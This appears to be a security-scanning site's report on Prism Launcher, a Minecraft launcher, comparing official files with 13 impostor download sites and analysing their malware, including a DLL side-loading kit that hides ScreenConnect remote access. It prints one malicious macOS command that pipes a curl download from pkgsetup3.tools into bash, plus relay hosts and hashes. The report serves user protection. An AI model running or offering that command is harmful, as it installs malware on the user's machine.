How we got this result
- Files checkedWe compare the fingerprint and the content of each file with the malware we and others have found, and look at what is inside it.18 of 18 official filesLast checked on 3 Nov 2026
- Deep checkOur own tools read the code of each current file and look for what harmful code does, like stealing logins or running hidden programs.16 of 18 official filesLast checked on 3 Nov 2026
- Passed Nothing harmful found in its 18 official files.Our checks look for known signs of harm. They cannot prove that a file is harmless.
At a glance
- Fake sites
- 13 fake sites found.
- Releases
- Latest release on 28 Sep 2026.
Every official file
See each file in ReleasesThe files of version 11.1.1, by system and kind of download.
Have a copy of Prism Launcher? Check that it is the official one.
Drop it here. We compare its fingerprint with the official Prism Launcher files and the files of the fake sites we know.
Source and links
- Source code
- Public on GitHub
- Official site
- prismlauncher.org
Which file for my computer?
PrismLauncher-Windows-MSVC-Setup-11.1.1.exe
The same file we checked, straight from github.com.
Official site
13 sites use its name to give other files. See Fake sites
- Download page
- prismlauncher.org/download
- Newest version
- 11.1.1, released on 28 Sep 2026
Passed
Nothing harmful found in its 18 official files, version 11.1.1.
Our checks look for known signs of harm. They cannot prove that a file is harmless.
What we checked
A launcher runs on your computer like any program, and it downloads the game and its mods, so harmful code in it can steal your accounts or files.
- Files checkedEach official file is downloaded on a separate machine, opened with every file inside it and never run. ClamAV, a free antivirus, and our YARA rules look for known signs of harm in all of it.
- 18 of its 18 official files, with every file inside them.
- Deep checkOur own tools read the Java code in the files and look for what harmful code does, like stealing logins or running hidden programs. They read Java code only.
- 16 of its 18 official files. 2 hold no Java code: programs made for one system.
- SignatureThe name of the company or person that signed the file. A file changed after signing loses its signature.
- Signed by Seth Flynn.
- Same as listedA fingerprint of the file. The same fingerprint means the same file, byte for byte.
- Every file we checked has the SHA-256 that GitHub gives.
- Not read
- The inside of the macOS disk image, in a format our tools do not open. These files were scanned as a whole.
- Older releases
- 19 official files of 1 older release, every one checked.
What we found
What its Java code can do. None of this is harmful by itself: many launchers and mods do the same.
- Can connect to the internet
- It has code that can go online, for example to check for updates, sign you in or download the game. What it sends is in Privacy.
What is inside
The 46 files inside PrismLauncher-Windows-MSVC-Setup-11.1.1.exe.
- Jar files inside
- 3 files.
- Programs for Windows, Mac or Linux
- 40 files.
- Graphics
- None.
- Other
- 3 files.
Every file
$PLUGINSDIR/5 files
- modern-wizard.bmp26 KB
- NScurl.dll6169 KB
- nsDialogs.dll9.5 KB
- nsExec.dll7.0 KB
- System.dll12 KB
iconengines/1 file
- qsvgicon.dll73 KB
imageformats/9 files
- qgif.dll50 KB
- qicns.dll58 KB
- qico.dll48 KB
- qjpeg.dll568 KB
- qsvg.dll42 KB
- qtga.dll41 KB
- qtiff.dll435 KB
- qwbmp.dll39 KB
- qwebp.dll553 KB
jars/3 files
- JavaCheck.jar1.1 KB
- NewLaunch.jar14 KB
- NewLaunchLegacy.jar23 KB
platforms/1 file
- qwindows.dll978 KB
styles/1 file
- qmodernwindowsstyle.dll219 KB
tls/2 files
- qcertonlybackend.dll104 KB
- qschannelbackend.dll260 KB
- archive.dll731 KB
- bz2.dll90 KB
- cmark.dll156 KB
- icuuc.dll51 KB
- liblzma.dll200 KB
- lz4.dll139 KB
- lzo2.dll128 KB
- prismlauncher_filelink.exe107 KB
- prismlauncher_updater.exe411 KB
- prismlauncher.exe9434 KB
- qrencode.dll62 KB
- qt.conf1 B
- Qt6Core.dll10006 KB
- Qt6Gui.dll9276 KB
- Qt6Network.dll1729 KB
- Qt6NetworkAuth.dll289 KB
- Qt6OpenGL.dll1934 KB
- Qt6Svg.dll621 KB
- Qt6Widgets.dll6426 KB
- Qt6Xml.dll160 KB
- qtlogging.ini609 B
- tomlplusplus-3.dll391 KB
- zlib1.dll103 KB
- zstd.dll658 KB
Goes online
No sign it sends data about you.
- Its code
- Can contact 3 web addresses.
We find the web addresses its code can contact, but we cannot see everything a launcher does while it runs. Wrong result? Tell us
What we checked
A launcher can send information about you over the internet, such as your player name or your login.
- Deep checkWe read the code and list each web address it can contact, and what it sends. We leave out code that is never used.
- The Java code of all 16 files that hold some. See each file in Releases
- Web addresses
api.minecraftservices.com: Talks to an online service the launcher works with.sessionserver.mojang.com: Talks to an online service the launcher works with.Address built while it runsThe code builds this address while it runs, so it is not written in the file.: Purpose not known.- Also named in its codeAddresses written in its code that no code we read contacts: a link shown to you, a default setting, or code we could not follow.
www.minecraft.net
Releases
Current files: the official files of version 11.1.1.
A fake site uses the name of Prism Launcher to offer its download from an address that is not the official one.
How to know the official site
- Official site
- prismlauncher.org
- Also leads there
- prismlauncher.net sends you to prismlauncher.org.
- Files come from
- github.com/PrismLauncher
- Signed byThe name of the company or person that signed the file. A file changed after signing loses its signature.
- Seth Flynn, on its 4 Windows files
- SHA-256A fingerprint of the file. The same fingerprint means the same file, byte for byte.
- PrismLauncher-Windows-MSVC-Setup-11.1.1.exeaaf1f371a41d530785b679e3a2e1141dceec98651fc35d56dc0842b2740280ae
The 13 fake sites we found
Of these, 7 give a file with malware, 1 a file with a Warning, 2 a file that is not the official one, 1 the same file as the official one and 2 no file we could get. Sites in one fold share their pages and their download.
prism-launcher.comprism-launcher.orgprismlauncher.appprismlauncher.ioprismlauncher.proprismlauncher.ccMalware6 sites with a link-swap script. 2 online, 1 behind a Cloudflare warning, 3 offline
Registered at Spaceship in the same second, on 25 Aug 2026 at 22:07 UTC.
A script on their pages replaces the GitHub download links with links to download-direct.opik.net, a server outside GitHub. The same script is on 4 fake Minecraft Launcher sites.
- prism-launcher.comOnline. Its download buttons are swapped for the fake zip.
- prism-launcher.orgOnline. Its download buttons are swapped for the fake zip.
- prismlauncher.appCloudflare warning. Its page is hidden behind a Suspected Malware warning.
- prismlauncher.ioOffline. Its address no longer leads anywhere.
- prismlauncher.proOffline. Its address no longer leads anywhere.
- prismlauncher.ccOffline. Its address no longer leads anywhere.
Their download
The setup in this zip installs a hidden remote control program: someone else can use your computer.
The download is a zip. The setup inside has the name of the Prism Launcher setup 11.1.0, but it is SqlSetupBootstrapper.exe, a program of Microsoft SQL Server, signed by Microsoft. Next to it is a small unsigned file, SqlSetupBootstrapper.dll. A Windows program loads the code libraries it needs, its DLL files, and looks for them in its own folder first. The kit uses this to make Microsoft's program run its own DLL: security researchers call this DLL side-loading.
The DLL decodes two data files of the zip into an MSI, the format of Windows installers, and installs it with no window. Then it opens the real Prism Launcher setup 11.1.0, which is also in the zip under another name, so you see the normal setup and nothing else.
The MSI calls itself Microsoft Visual C++ 2017 Redistributable (x64), by Microsoft Corporation, the name of a package that many games install. It is really ScreenConnect, a remote control program that companies use to help their staff from a distance. It installs as a service, a program that Windows starts by itself each time the computer starts, also in Safe Mode with networking. The service connects to a relay, a server that passes the connection on, at 442.open-fast-ports.com (442.fast-ports.com in the zips of 5 Nov 2026). Whoever runs that relay can see your screen, use your mouse and keyboard and move files, at any time, with nobody at the computer.
What you would see is hidden too. Its settings turn off the icon near the clock, the banner that says the computer is being controlled and the messages when someone connects, and keep your wallpaper on during a session. In Settings, Apps, it shows as Microsoft Visual C++ 2017 Redistributable (x64), by Microsoft Corporation, with no Modify or Repair button. Its service has a version number for a name, and its folder in Program Files is named like a Visual C++ package. Only the files inside that folder, and the process in Task Manager, keep the ScreenConnect name.
It also adds a credential provider, the part of Windows that draws the sign-in screen, so the other side can work there too, before anyone signs in.
ClamAV and our YARA rules found nothing in the zip: the MSI only exists once the DLL has decoded it. Decoded, our YARA rules recognise ScreenConnect. The zip is rebuilt often, each time with a new SHA-256, so a list of known files cannot catch it.
Technical details
- PrismLauncher-Windows-MSVC-Setup-11.1.0.zip
SHA-256 c5f67f61ab3f99c72b7b9bc2af8648a9b0377301894a9370ff6ba976e350f114- redist\2019\patch.dat
SHA-256 12a86a111181d69286a71c6e18b98c8d731f0a0ac0aff6303f0a046d42323997- Decoded MSI
SHA-256 9827f9bd92e89670491b8fdb8bf65e892cc1f3fd60d47c12cf20739146221f13- Relay
442.open-fast-ports.com, port 8041 (442.fast-ports.com from 5 Nov 2026)- Service
Named 14.16.27012.6, starts with Windows
prismlauncher.siteprism-launcher.siteNot the official file2 sites on one Russian server. All online
prismlauncher.site and prism-launcher.site were registered at REG.RU on 2 Nov 2025, 48 minutes apart. Their server also hosts the fake TLauncher and Legacy Launcher sites t-launcher.ru and legacy-launcher.site.
Both give version 9.4 of Prism (April 2025) from their own server. On prismlauncher.site, a click first starts a download of Yandex Browser through a partner link.
- prismlauncher.siteOnline. Its download buttons give a file that is not the official one.
- prism-launcher.siteOnline. Its download buttons give a file that is not the official one.
Their download
Our scanners found nothing known in it. It is not a file of the official download page today.
It gives PrismLauncher-Windows-MSVC-Setup-9.4.exe (22 MB). It is not a file of the official download page today: its SHA-256, a fingerprint of the file, matches none of them. It is not signed. It describes itself as Prism Launcher Installer. ClamAV and our YARA rules found nothing in it and the 35 files inside it. We read its Java code: our rules found nothing harmful.
Technical details
- PrismLauncher-Windows-MSVC-Setup-9.4.exe
SHA-256 15f8c7dc20bc98e803270c21125ac3f8178fbabae7bdf142c5c2f5596802342d
prismlauncher.ruSame as the official fileOnline
Registered at BEGET on 26 Jan 2023. Russian pages.
Gives Prism's Linux files from its own server, cdn.mazeram.ru, not from GitHub.
- prismlauncher.ruOnline. Its download button gives the official file, from another server.
Its download
The same file as the official one.
It gives PrismLauncher-Linux-x86_64.AppImage (108 MB). This is the official appimage 11.1.1 of Prism Launcher, byte for byte: it has the same SHA-256. ClamAV and our YARA rules found nothing in it.
Technical details
- PrismLauncher-Linux-x86_64.AppImage
SHA-256 bb81038c56a09e944659e4b808dbfbc52d52d5e3a3ffe32216689a3ca1508d3d
prismlauncher.cnNo file we could getIts files are behind QR codes to file-sharing services, which we do not follow.Online
Chinese pages titled 'official website'. Its registration date is not public.
It offers version 9 through QR codes to file-sharing services (Quark and Baidu Netdisk).
- prismlauncher.cnOnline. Its files are behind QR codes to file-sharing services, which we do not follow.
Its download
Its files are behind QR codes to file-sharing services, which we do not follow.
prismlauncher.inkWarningOnline
Registered at Dynadot on 17 Oct 2026. A complete copy of the official site.
Its download button gives a file from a GitHub account created 1 hour 37 minutes before the site was registered. That account offers four programs (Prism Launcher, Bloxstrap, Comfy Desktop, OptiScaler), all of exactly the same size, 98 MB.
- prismlauncher.inkOnline. Its download buttons give a file that is not the official one.
Its download
This file is not Prism Launcher: it names another program in its details and is not signed.
It gives PrismLauncher-Windows-Setup-11.1.1.exe (98 MB), from a GitHub account named Downloadother. It is not Prism Launcher: the file describes itself as Adobe Desktop Service, by Adobe Inc., and it is not signed. Prism Launcher's own setup describes itself as Prism Launcher.
The same GitHub account offers three other programs (Bloxstrap, Comfy Desktop and OptiScaler), all of exactly the same size, 98,480,912 bytes. Four different programs never have the same size by chance: these are likely the same file under four names. ClamAV and our YARA rules found nothing in it.
Technical details
- PrismLauncher-Windows-Setup-11.1.1.exe
SHA-256 1c70fd11548d99ccae9ce974d1aa75658be6ac9365fd9dd2fe4d7388b7b71c94
prismlaunchers.comNo file we could getIts page shows no file address on 2 Nov 2026.Online
Registered at Dynadot in the same second as the fake SKlauncher site sklaunchers.com, on 21 Sep 2026, with the page template of the fake TLauncher, CurseForge and Modrinth sites.
- prismlaunchers.comOnline. Its page shows no file address on 2 Nov 2026.
Its download
Its page shows no file address on 2 Nov 2026.
github.com/Frostkurivet/prism-launcherMalwareOnline
A GitHub project created on 5 Oct 2026 by a throwaway account. Its description presents it as Prism Launcher, and its page adds Windows and macOS download buttons.
The buttons lead to pages of another GitHub account, supremedeckhandwire. The same pages serve at least 15 fake projects, for Minecraft launchers, mods and other programs.
- github.com/Frostkurivet/prism-launcherOnline. Its download buttons lead to a fake download page.
Its download
The Windows file is not the launcher: it hides from test machines and installs another hidden program. The macOS button asks you to paste a command that downloads a program.
On Windows the download page gives installer-v5.zip from resight-cheats.net, a site that offers free game cheats. On macOS it asks you to paste a command into Terminal.
The Windows program is packed so its code cannot be read. On Triage's test machines it looked for signs of a virtual machine, ran a hidden PowerShell command that reads the hardware, and installed another program under a random name in AppData. We do not know yet what that program takes.
The macOS command runs a copy of the Bun installer changed to download its program from pkgsetup3.tools.
Technical details
- installer-v5.zip
SHA-256 a450189aeaa3080a6aa1ebaf60bbca9daf921e379ddb6ebdf8d44bfcc9696fb4- installer.exe
SHA-256 23ad0d94e9eef0206a2bf1cc2bb40024e3f096345622e9a3de6a5f7bf7e3114f- macOS command
/bin/bash -c "$(curl -fsSL https://pkgsetup3.tools/xzg556frgygm)"
Projects related to Prism Launcher
Real launchers built from the same code, by other teams. They are not fake sites: each has its own name and its own files.
Fjord LauncherLauncher by unmojangA Prism Launcher fork that can sign in through other account servers than Microsoft's.Last change on GitHub on 1 Nov 2026Passed
PineconeMCLauncher by ElyPrismLauncherA Prism Launcher fork with Ely.by accounts, a service of player accounts and skins.Last change on GitHub on 3 Nov 2026Passed
MultiMCLauncher by MultiMC contributorsThe first launcher of this family: Prism Launcher's code comes from it.Last change on GitHub on 6 Nov 2026Passed
If you downloaded a file from one of these sites
- Drop the file in the Scanner. It tells you if it is an official file of Prism Launcher or a file of these sites.
- If it is not an official file and you have not opened it, delete it.
- If you opened it: the setup installs ScreenConnect, a genuine remote control program that antivirus programs usually do not flag, so a scan is not enough. Check for it and remove it with the steps of our report.
- If you signed in to the launcher it installed: use "sign out everywhere" in your Microsoft security settings and change your Microsoft account password.
- Get Prism Launcher from its official site, prismlauncher.org .
- Downloads
- 13.8MOn GitHub, all releases
- Created
- 17 Oct 2022Its GitHub repository
- Latest release
- 28 Sep 2026Version 11.1.1
- License
- GPL-3.0 Public on GitHub
About
Prism Launcher is an open-source Minecraft launcher for managing multiple separate instances, accounts, and mod configurations, making it easy to switch between different game setups. It helps users install and update modpacks, and install or update individual mods through direct integration with Modrinth and CurseForge. Each instance can have its own settings and configuration, while the launcher also supports menu customization and custom themes.
Written from its official pages: its GitHub page and prismlauncher.org . How we write it